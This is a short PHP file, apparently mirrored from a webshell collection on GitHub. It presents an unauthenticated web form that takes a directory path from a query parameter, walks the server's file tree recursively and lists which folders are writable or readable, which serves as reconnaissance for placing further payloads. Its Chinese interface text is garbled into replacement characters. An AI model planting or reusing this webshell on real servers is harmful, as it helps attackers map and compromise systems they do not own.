mirror of
https://github.com/tennc/webshell
synced 2025-02-16 17:58:23 +00:00
52 lines
1.3 KiB
PHP
52 lines
1.3 KiB
PHP
|
|
|||
|
<form id="form1" name="form1" method="get" action="">
|
|||
|
<label>
|
|||
|
<div align="center"><EFBFBD>ļ<EFBFBD>·<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
<input name="dir" type="text" value="c:/" />
|
|||
|
<input type="submit" name="Submit" value="<EFBFBD>ύ" />
|
|||
|
</div>
|
|||
|
</label>
|
|||
|
</form><label>
|
|||
|
|
|||
|
<div align="center">code Author:<span class="STYLE1"><font color='red'> <EFBFBD>̽<EFBFBD><EFBFBD><EFBFBD><EFBFBD>С<EFBFBD>QQ:87074139</font></span></div>
|
|||
|
|
|||
|
<?php
|
|||
|
header("content-Type: text/html; charset=gb2312");
|
|||
|
function listDir($dir){
|
|||
|
if(is_dir($dir)){
|
|||
|
if ($dh = opendir($dir)) {
|
|||
|
while (($file= readdir($dh)) !== false){
|
|||
|
|
|||
|
if((is_dir($dir."/".$file)) && $file!="." && $file!="..")
|
|||
|
{
|
|||
|
if(is_writable($dir."/".$file)&&is_readable($dir."/".$file))
|
|||
|
{
|
|||
|
echo "<b><font color='red'><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></font></b>".$dir.$file."<font color='red'> <20><>д</font><font color='Blue'> <20>ɶ<EFBFBD></font>"."<br><hr>";
|
|||
|
}else{
|
|||
|
if(is_writable($dir."/".$file))
|
|||
|
{
|
|||
|
echo "<b><font color='red'><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></font></b>".$dir.$file."<font color='red'> <20><>д</font>"."<br><hr>";
|
|||
|
}else
|
|||
|
{
|
|||
|
echo "<b><font color='red'><3E>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD></font></b>".$dir.$file."<font color='red'> <20>ɶ<EFBFBD></font><font color='Blue'> <20><><EFBFBD><EFBFBD>д</font>"."<br><hr>";
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
listDir($dir."/".$file."/");
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
}
|
|||
|
closedir($dh);
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
}
|
|||
|
|
|||
|
//<2F><>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>
|
|||
|
if(isset($_GET['dir']))
|
|||
|
{
|
|||
|
listDir($_GET['dir']);
|
|||
|
}
|
|||
|
?>
|